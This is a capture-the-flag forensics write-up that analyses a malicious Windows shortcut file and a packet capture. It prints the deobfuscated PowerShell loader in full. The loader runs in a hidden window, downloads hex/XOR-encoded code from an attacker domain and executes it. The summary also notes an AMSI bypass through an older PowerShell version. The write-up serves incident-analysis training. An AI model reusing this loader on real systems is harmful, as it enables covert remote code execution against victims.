Trick or Treat

Personal Rating: Medium

General

  • We got a .pcap file and a .lnk file with the info that the .lnk file opened a hidden command window

LNK

  • The lnk file performs some steps and has obfuscation to it: → Powershell is started in a hidden window → A list of user agents is defined in $UserAgents to mimic a regular browser for the requests. One is selected to $RandomUserAgent → A webclient is created and the user agent is added to the header. The content of ‘http:// windowsliveupdater.com’ is downloaded as $boddmei → From the downloaded content in $boddmei every two characters are decoded from hex to Int16 and then XORed with 0x1d → The decoded chars are concatenated to $vurnwos → The code inside $vurnwos is executed → Another var $asvods is executed as code, but it was not defined before → shell32.dll is referenced, but I dont know how or why

  • When I downloaded the content manually, what I see is a reference to https://unpkg.com/ tailwindcss@^2/dist/tailwind.min.css with a timeout to then open a rickroll

  • Opening the first link redirects to /tailwindcss@2.2.19/dist/tailwind.min.css

  • CURLing that shows a lot of css data, but certainly nothing that can be executed by Powershell

  • Since there is nothing interesting here, I suspect that I have to look at the pcap file for now.

  • Still, here is the code that I deobfuscated from the lnk file:

powershell.exe -windowstyle hidden:
$asvods ='';
$UserAgents = @('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36','Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/
15.15063','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like
Gecko');
$RandomUserAgent = $UserAgents | Get-Random;
$WebClient = New-Object System.Net.WebClient;
$WebClient.Headers.Add('User-Agent', $RandomUserAgent);
$boddmei = $WebClient.DownloadString('http://windowsliveupdater.com');
$vurnwos ='';
for($i=0;$i -le $boddmei.Length-2;$i=$i+2){
$bodms=$boddmei[$i]+$boddmei[$i+1];
$decodedChar = [char]([convert]::ToInt16($bodms, 16));
$xoredChar=[char]([byte]($decodedChar) -bxor 0x1d);
$vurnwos = $vurnwos + $xoredChar
};
Invoke-Command -ScriptBlock ([Scriptblock]::Create($vurnwos));
Invoke-Command -ScriptBlock ([Scriptblock]::Create($asvods));
C:\Windows\System32\shell32.dll%SystemRoot%\System32\shell32.dll%SystemRoot%
\System32\shell32.dll
%wN]ND.Q1SPSXFL8C&mm.S-1-5-21-3849600975-1564034632-632203374-1001

  • This will be important once I found the data that was actually downloaded in the incident

PCAP

  • There is interesting http traffic

  • There are some HEAD and mostly GET requests

  • The interesting GET requests were sent from the client 10.0.2.15 to 193.57.35.48

  • The host msedge.b.tlu.dl.delivery.mp.microsoft.com is queried

  • The data transferred seems to be ASP .NET application data

  • Looking at the conversations, there is a short one with the windowsliveupdater domain that we know from the link file:

  • Following the TCP stream, we find what is the code that we can transform with the powershell script in the .lnk file

  • Using what I saw in the deobfuscated .lnk file, I created a decryptor with the above data in “fetchedcode”:

  • This prints the resulting code, which contains the flag:

Summary

The malicious .lnk file was executed on the host 10.0.2.15, which contained a powershell loader that fetches a code snippet from a site hosted at 193.57.35.48 and executes it. An older Powershell version was used to simply bypass AMSI and the shell was launched in a hidden window. The script was lightly obfuscated. The code snippet that was downloaded before just seems to upload a screenshot of the computer name of the target to dropbox. In a real incident it would usually be designed to load further malicous software from the dropbox instance, potentially to establish a C2 connection.

PreviousSpellbreweryNextValhalloween

Last updated